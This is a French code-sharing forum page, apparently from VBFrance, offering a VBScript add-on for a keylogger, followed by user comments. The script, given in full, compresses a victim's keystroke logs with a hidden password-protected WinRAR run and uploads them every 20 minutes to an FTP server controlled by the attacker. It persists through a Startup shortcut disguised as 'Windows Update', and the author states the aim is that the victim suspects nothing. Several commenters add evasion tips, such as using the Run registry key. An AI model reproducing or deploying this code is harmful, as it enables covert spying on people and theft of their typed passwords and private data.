Compression et upload vers un serveur ftp

Soyez le premier à donner votre avis sur cette source.

Snippet vu 8 712 fois - Téléchargée 18 fois

Contenu du snippet

il ya un bon moment que j'ai fait un keylogger biensûr grâce a vos sources déposées ici en Vbfrance la seule chose qui me manque c'est comment avoir accés a mes Logs qui sont sous forme "date_Mois_Année.htm" , alors j'ai penser que je peux les faire commpresser avec Winrar en ligne de commande et en arriére plan pour que la victime ne se doute de rien ;) puis les faire Uploader sur mon serveur FTP ! Alors j'ai réussi ale faire marcher et je veux le partager avec Vous !

Source / Exemple :


'Main Program
option explicit
Shortcut
do while time <> "00:00:00" 'ici j'ai utiliser une boucle tant qu'il n'est pas encore minuit on bosse pour le script ne s'arrête pas ;)
Compression 'On compresse les Fichiers
Shortcut    'création d'un racourci dans le dossier démarrage pour démarre avec windows
UploadFTP   'Uploader les fichies compressés
wscript.sleep 1200000 'ici on attend 20 min puis on recommence l'action
loop
'--------------------------------------------------------------------------------------------------------------------------------------
sub Compression
dim File,f3,ts3,FSO,Archive,temp,shell
Set FSO = WScript.CreateObject("Scripting.FileSystemObject")
temp=FSO.GetSpecialFolder(2)          ' Dossier Temporaire de Windows
FSO.CreateTextFile temp & "\Protection\Backup.lst"	
Set f3 = fso.GetFile(temp & "\Protection\Backup.lst")
Set ts3 = f3.OpenAsTextStream(2, -2)
ts3.writeline temp & "\Protection\*.htm"    'ici je veux faire une liste qui me compresse seulement les Fichiers d'extention *.htm
ts3.Close
Archive= Day(Now) & "_" & Month(Now) & "_" & Year(Now)   
Set Shell=CreateObject("WScript.Shell")
Shell.run ("winrar -IBCK -tn30d -pvotremotdepasse a "& Archive &" @Backup.lst") 
end sub  
'Winrar est un outil Trés puissant il m'a aider beaucoup pour réaliser mes attentions et mes objectifes
'Syntaxe pour la ligne de commande pour Winrar
'WinRAR <commande> -<paramètre1> -<paramètreN> <archive> <fichiers...> <@listefichiers...> <chemin_d_extraction\> 
'Commande a - Ajouter à une archive
'Paramètre -IBCK - Lancer WinRAR en arrière-plan
'Paramètre -TN<heure> - traiter les fichiers postérieurs à l'heure définie
'Utiliser ce paramètre pour traiter uniquement les fichiers plus récents que l'heure spécifiée. Le format de la chaîne <heure> est :
'[<njours>j][<nheures>h][<nminutes>m][<nsecondes>s]
'Par exemple, utiliser le paramètre "-tn15d" pour traiter les fichiers de plus de 15 jours et "-tn2h30m" pour traiter les fichiers après 2 heures 30 minutes
'Par exemple, vous pouvez créer un fichier "backup.lst" contenant les chaînes suivantes : 
'c:\work\doc\*.txt//sauvegarde des documents texte
'c:\work\image\*.bmp//sauvegarde des images
'c:\work\misc
'et lancer :
'winrar a backup @backup.lst
'Paramètre -P<mot_de_passe> - Utiliser un mot de passe Attention pas d'espace aprés la lettre P càd on écrit <-pmotdepasse> et non <-p motdepasse>
'Pour plus d'informations sur winrar en mode ligne de commande je vous conseille de consulter son fichier Help
'----------------------------------------------------------------------------------------------------------------------------------------------
sub Shortcut
dim shell,startupPath,link,temp,FSO
Set Shell = CreateObject("WScript.Shell")
startupPath = Shell.SpecialFolders("startup")
Set FSO = WScript.CreateObject("Scripting.FileSystemObject")
temp=FSO.GetSpecialFolder(2)
Set link = Shell.CreateShortcut(startupPath & "\Windows Update.lnk") 'lien
link.Description = "Windows Update"
link.IconLocation = "wuauclt.exe, 0" 'icon de windows Update un camouflage quoi ;)
link.TargetPath = temp & "\Protection\WindowsUpdate.vbs"
link.WorkingDirectory = temp & "\Protection\"  'mon dossier de  Travail
link.Save
end sub
'----------------------------------------------------------------------------------------------------------------------------------------
Sub UploadFTP
dim File,FSO,Archive,shell,temp
Set FSO = CreateObject("Scripting.FileSystemObject")
temp=FSO.GetSpecialFolder(2)
Set File = FSO.OpenTextFile(temp &"\Protection\FTP.txt", 2, True)
Archive= Day(Now) & "_" & Month(Now) & "_" & Year(Now)
With File
.WriteLine "open Nom du Serveur FTP"      'Nom du Serveur FTP (à Modifier)
.WriteLine "Votre Login"                  'Nom de Login pour le serveur FTP (à Modifier)
.WriteLine "Votre Mot de Passe"           'Mot de Passe (à Modifier)
.WriteLine "bin"                          'ici en mode binaire
.WriteLine "PUT " & temp & "\Protection\"& Archive &".rar" 'pour Uploder l'Archive RAR
.WriteLine "bye"                          'Déconnexion du serveur FTP
.Close
End With
Set shell = CreateObject("WScript.Shell")
shell.Run "ftp -i -s:"& temp &"\Protection\FTP.txt",0,True 'Exécution de FTP
set shell = Nothing
end sub
'-------------------------------------------------------------------------------

Conclusion :


Vos commentaires et vos critiques sont les Bienvenus !

A voir également

Ajouter un commentaire

Commentaires

Messages postés
82
Date d'inscription
dimanche 21 février 2010
Statut
Membre
Dernière intervention
17 février 2020

Salut je viens de lire que des commentaires de jaloux, c'est très flagrant vous savez.. pffff!
Messages postés
126
Date d'inscription
jeudi 16 janvier 2003
Statut
Membre
Dernière intervention
9 novembre 2009
2
J'espère aussi que le keylogger n'a pas besoin d'ouvrir Word 2007 pour écrire le fichier de log... ;o)
Messages postés
5
Date d'inscription
jeudi 2 octobre 2003
Statut
Membre
Dernière intervention
21 juillet 2008

De plus, pour un démarrage avec Windows, mieux vaut utiliser la clé Run dans le registre plutôt que l'icône dans "Démarrage", c'est plus discret
Messages postés
43
Date d'inscription
mardi 15 juillet 2008
Statut
Membre
Dernière intervention
10 juillet 2010

et bien ton code n est pas mal du tout mais on aurait pu fire bien moins long
Messages postés
3275
Date d'inscription
jeudi 3 avril 2008
Statut
Membre
Dernière intervention
14 septembre 2014
3
PTDR
pour que ton truc fonctionne la "victime" est obligée d'avoir winrar
:D

si tu veux faire un keylogger ou une autre saloperie ton prog ne dois JAMAIS être dépendant de quoi que ce soit sur la machine de ta "victime"

PS: il esiste des classes sur le net pour la compression en vb6
Afficher les 6 commentaires

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.